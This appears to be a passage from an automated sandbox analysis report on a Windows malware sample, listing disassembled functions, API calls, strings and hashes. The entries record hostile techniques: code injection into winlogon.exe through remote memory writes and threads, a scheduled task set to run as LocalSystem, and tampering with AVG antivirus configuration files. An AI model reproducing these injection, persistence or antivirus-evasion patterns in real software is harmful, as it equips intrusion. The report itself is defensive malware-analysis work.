                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3F21FCB1D00219AFDB10DBA0DD49FEA77BCAB48700F0045AAA709F6190EB749B448FA5
                                                                                                                                                                                                            Function 004012E0 Relevance: 12.1, APIs: 8, Instructions: 84fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,755CDB30,?,00401E75,00000000), ref: 00401317
                                                                                                                                                                                                            • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001,?,00401E75,00000000), ref: 0040132C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00401E75,00000000), ref: 0040133B
                                                                                                                                                                                                            • WriteFile.KERNELBASE(00000000,?,00000000,00401E75,00000000,?,00401E75,00000000), ref: 0040134D
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00401E75,00000000), ref: 0040135D
                                                                                                                                                                                                            • SetEndOfFile.KERNELBASE(00000000), ref: 0040136A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0040138C
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNELBASE(00000000), ref: 0040139D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$ChangeCloseCreateFindHandleInformationLockNotificationPointerUnlockWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2878253294-0
                                                                                                                                                                                                            • Opcode ID: 767d19d3de4797b5c71be3d902a88e0ab7c1d0a14529f93e3769efd59d7c6aec
                                                                                                                                                                                                            • Instruction ID: fc3a19f52fd50960abd89716b3b21a8dc97a86bf959a0b9d512ee5003149b17c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 767d19d3de4797b5c71be3d902a88e0ab7c1d0a14529f93e3769efd59d7c6aec
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0E21BE71A00204BBF7205B65DD4DFAB7A6CEBC1B51F148126FF00B66E0D7B84E81C6A8
                                                                                                                                                                                                            Function 00401AA0 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401AC4
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401ACF
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 00401AF5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,004010DF), ref: 00401B10
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 00401B1C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401B38
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401B4A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Process32$ChangeCloseCreateFindFirstHandleInformationNextNotificationSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3068433855-0
                                                                                                                                                                                                            • Opcode ID: f5034955aae474984994a817a0ed0942b8356643e55c240cad4dcfde9e81f7f8
                                                                                                                                                                                                            • Instruction ID: dd63a524005d9bd3fdf31d3318007fe9a0ed814c8c3d3d806708decfbcb8f66e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f5034955aae474984994a817a0ed0942b8356643e55c240cad4dcfde9e81f7f8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9611EBB25043105BC310EF55DC48A9BBBACEBD5360F00453AFE55A3290E734E949CBEA
                                                                                                                                                                                                            Function 00402430 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402448
                                                                                                                                                                                                            • MoveFileA.KERNEL32(?,?), ref: 0040250F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileFolderMovePath
                                                                                                                                                                                                            • String ID: \AVG\AVG9\dfmcfg.dat$\AVG\AVG9\dfncfg.dat
                                                                                                                                                                                                            • API String ID: 1404575960-1083204512
                                                                                                                                                                                                            • Opcode ID: e53c7f5395ff5d23e1ea87fbe032685214c058210a3022917d0998b022fdd273
                                                                                                                                                                                                            • Instruction ID: 2817f7f5a2ee45723a7bffe92fbd27ee54b29152b6db55fc9663a9b726faa6ae
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e53c7f5395ff5d23e1ea87fbe032685214c058210a3022917d0998b022fdd273
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 172151B45042448FC719CF14EA98B92BBF1BB88300F1581F9DA99A73B2D6B0D944CF98
                                                                                                                                                                                                            Function 0040217A Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • FreeLibrary.KERNELBASE(00000000), ref: 0040218C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FreeLibrary
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3664257935-0
                                                                                                                                                                                                            • Opcode ID: b7cbe1c8c54e898400676a98b1d5ddb11bfceec092903a2200cc263d8e9133b1
                                                                                                                                                                                                            • Instruction ID: d0e749ada70b16f267b0096a5882ad0ed8cb575b22d8ef64c6acb779e6c27845
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b7cbe1c8c54e898400676a98b1d5ddb11bfceec092903a2200cc263d8e9133b1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B6D05E76E05729CBCB20DF94A5052AEF730FB45731F0083AADE247338083351C118AD4

                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                            Function 004033B0 Relevance: 66.9, APIs: 32, Strings: 6, Instructions: 368memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004033FE
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040341E
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040343E
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 00403446
                                                                                                                                                                                                            • GetVersionExA.KERNEL32 ref: 00403461
                                                                                                                                                                                                              • Part of subcall function 00403310: GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 00403337
                                                                                                                                                                                                              • Part of subcall function 00403310: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403359
                                                                                                                                                                                                              • Part of subcall function 00403310: OpenProcessToken.ADVAPI32(00000000), ref: 00403360
                                                                                                                                                                                                              • Part of subcall function 00403310: GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403381
                                                                                                                                                                                                              • Part of subcall function 00403310: CloseHandle.KERNEL32(00000000), ref: 00403397
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 004034A5
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 004034BE
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040351B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 00403567
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040356E
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403586
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 004035A0
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 004035C3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004035DA
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004035EE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> , xrefs: 004033C4
                                                                                                                                                                                                            • task%d, xrefs: 004034AC
                                                                                                                                                                                                            • 00-->, xrefs: 0040368F
                                                                                                                                                                                                            • <Actions , xrefs: 0040365A
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 004033E7
                                                                                                                                                                                                            • p=)u, xrefs: 0040379B
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Filememset$Process$HeapTokenVersion_snwprintf$AdminAllocCloseCountCreateCurrentHandleInformationModuleNameOpenPointerSizeTickUser
                                                                                                                                                                                                            • String ID: <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> $00-->$<Actions $\\?\globalroot\systemroot\system32\tasks\$p=)u$task%d
                                                                                                                                                                                                            • API String ID: 1601901853-2209026672
                                                                                                                                                                                                            • Opcode ID: 3e75ff0d6558df4951f578cf3538052f2bff9976cb2e3b9c80236ffe9a2ee6c0
                                                                                                                                                                                                            • Instruction ID: 1b369b621c6b50f993c5cfef2b03b24b37f74764d04c33fe2e8d64a6d5fdefe9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3e75ff0d6558df4951f578cf3538052f2bff9976cb2e3b9c80236ffe9a2ee6c0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F8D1C3B1504301ABD720DF64CC49B5B7BE8EFC8715F048A29FA49A72D1E774EA04CB99
                                                                                                                                                                                                            Function 00401B70 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 215injectionlibrarymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 00401FB0: memset.MSVCRT ref: 00401FD6
                                                                                                                                                                                                              • Part of subcall function 00401FB0: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401FE7
                                                                                                                                                                                                              • Part of subcall function 00401FB0: GetLastError.KERNEL32 ref: 00401FF0
                                                                                                                                                                                                              • Part of subcall function 00401FB0: SwitchToThread.KERNEL32 ref: 00401FFF
                                                                                                                                                                                                              • Part of subcall function 00401FB0: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00402008
                                                                                                                                                                                                              • Part of subcall function 00401FB0: GetHandleInformation.KERNEL32(00000000,00000000), ref: 00402028
                                                                                                                                                                                                              • Part of subcall function 00401FB0: CloseHandle.KERNEL32(00000000), ref: 00402039
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064,755CDB30,?,00000000,00402DB4,winlogon.exe), ref: 00401B9D
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,00000000,755CDB30,?,00000000,00402DB4,winlogon.exe), ref: 00401BBC
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401BDB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401BF1
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 00401BFD
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401C18
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401C28
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 00401C6F
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,00000000,00406400,?,?), ref: 00401C91
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00401CBD
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 00401CD8
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 00401CF3
                                                                                                                                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00401D01
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,?,00406400,00052A00,?), ref: 00401D34
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 00401D44
                                                                                                                                                                                                            • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401D56
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 00401D6E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401D7F
                                                                                                                                                                                                            • RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401DA0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 00401DBC
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401DCD
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Process$Create$CloseInformationMemoryThreadVirtualWrite$AddressAllocModuleProcSnapshotToolhelp32$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 3542510048-3024904723
                                                                                                                                                                                                            • Opcode ID: ba5e8482ce6558dcd48eb70727eb2832cdeee386e3baf9961ddfede8c17bb47e
                                                                                                                                                                                                            • Instruction ID: 1cc1a5b9d3a24803e7d074aebc255e1873ec8508329ddbed26f29eb15fe00603
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ba5e8482ce6558dcd48eb70727eb2832cdeee386e3baf9961ddfede8c17bb47e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8E71A2B1640215ABE710DF94DD89FAF77B8AF84701F144029FA01B72D1D7B8A941C7A8
                                                                                                                                                                                                            Function 00403310 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 00403337
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403359
                                                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 00403360
                                                                                                                                                                                                            • GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403381
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00403397
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 00403319
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ProcessToken$CloseCurrentHandleInformationOpenVersion
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\tasks\
                                                                                                                                                                                                            • API String ID: 4133869067-1576788796
                                                                                                                                                                                                            • Opcode ID: 76f7c13d41ba4f40b5ff24f9cac2bfcc18b58a5216b2a1f5173a808488ca33cd
                                                                                                                                                                                                            • Instruction ID: 49b559ea0f9bb78937d1c0884117093763843d0ff56e3b8f35a0dc65749093db
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 76f7c13d41ba4f40b5ff24f9cac2bfcc18b58a5216b2a1f5173a808488ca33cd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E60165B5A00208EBEB20DFA4DD4DB9F7B7CAB44715F0080A6EA05B2280DA749B44DF64
                                                                                                                                                                                                            Function 0043A1C0 Relevance: 1.6, Strings: 1, Instructions: 320COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: VUUU
                                                                                                                                                                                                            • API String ID: 0-2040033107
                                                                                                                                                                                                            • Opcode ID: 91a8ad65bccbbfe05e08020613915b6b43463005f411ac20db4209ee28307917
                                                                                                                                                                                                            • Instruction ID: f47a8ee1f73e22a4fe4d0782bb31250b05cbd8abf37275be656dc7776c70eb81
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 91a8ad65bccbbfe05e08020613915b6b43463005f411ac20db4209ee28307917
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 43C13671A4065657C728CF69C9802BAFBF2BF58310F08A26EE4D2C6B81E23CF594C755
                                                                                                                                                                                                            Function 00423460 Relevance: .8, Instructions: 833COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 078465a8c5f966f900ef0431eae93261a578a5e790f795112f798ddb2a924d92
                                                                                                                                                                                                            • Instruction ID: fb4bf73fbd96ce767e3e4ced4cff5850fb0c5de91f2901caa32f86ddb58664f3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 078465a8c5f966f900ef0431eae93261a578a5e790f795112f798ddb2a924d92
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DC6266302083669FD711DF748998AAB7BF4EF8B342F448559E481C7322EB39C949C799
                                                                                                                                                                                                            Function 00447A4D Relevance: .8, Instructions: 789COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 0b6cf6006001199e5e9ce8d23d257b0a33bb280d4706fab0d3690263e39bb01c
                                                                                                                                                                                                            • Instruction ID: 557c3a5e0be627a1a0d82d054954a5a553f0d272665adbf2aa8904b654ae6415
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0b6cf6006001199e5e9ce8d23d257b0a33bb280d4706fab0d3690263e39bb01c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A962BD70E04A269BDB08CF55C8902FDBBB2FF84311F14826EC81667B84DB796956CF94
                                                                                                                                                                                                            Function 00435230 Relevance: .7, Instructions: 705COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 5036dd47c7d37404f61d9253acab986b19dacab9ed83d46aeccfe24d09195b14
                                                                                                                                                                                                            • Instruction ID: 85909a87914b4e267680ae93a060971746addf1db64755a8a3bc2181f2046f0f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5036dd47c7d37404f61d9253acab986b19dacab9ed83d46aeccfe24d09195b14
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5F42E0719006499FDB24DFA8C880BEFBBF5AF4C304F14555EE446A7342D778A942CBA8
                                                                                                                                                                                                            Function 00445C60 Relevance: .5, Instructions: 504COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 00ffc4eb06bca0d5c3d9a2dea77500c2ca13b45209916c823031000f489548c1
                                                                                                                                                                                                            • Instruction ID: 85a937299a81f3d9309945d58e9e442e46b363752c2a3cd2ae91a7182d9b7112
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 00ffc4eb06bca0d5c3d9a2dea77500c2ca13b45209916c823031000f489548c1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0A120630A05B449FEB21CF18C5806AEBBF1FF46310F14859AE4A68B392C339ED46CB55
                                                                                                                                                                                                            Function 00446330 Relevance: .5, Instructions: 499COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: f797997eb54f774182d1461cf03963e7959118e080bee31629b5adcb6e64841a
                                                                                                                                                                                                            • Instruction ID: 46b84cad4234f5ce45083a22f3b7837f8dbab4e6c9ff07cf73690a7c3839c88d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f797997eb54f774182d1461cf03963e7959118e080bee31629b5adcb6e64841a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8412F4309057849FEB25CF18C490AAABBF1BF53314F15859EE8A54B391C338E946CB56
                                                                                                                                                                                                            Function 00445590 Relevance: .5, Instructions: 499COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 4287607630ae20b9aa5277460d30b0afbc744c63664bd41df3638ca158418c96
                                                                                                                                                                                                            • Instruction ID: e557182fb19255dd362c8294d5405afe168e67028f96bc1afb08ac6ffecb48eb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4287607630ae20b9aa5277460d30b0afbc744c63664bd41df3638ca158418c96
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F512D130A05B459FEF21CF18C590AAEB7F2FF55310F14856AE8A65B392C738AD42CB54
                                                                                                                                                                                                            Function 00444300 Relevance: .5, Instructions: 494COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 8a1b91ede640c16b6eb738e208c258cded16843dd2e2204d56f86606c58ff67d
                                                                                                                                                                                                            • Instruction ID: 6a0df0345f276ddaee371dcc3f576922ba37433c1e1455ba353acb30c9ea1d0b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8a1b91ede640c16b6eb738e208c258cded16843dd2e2204d56f86606c58ff67d
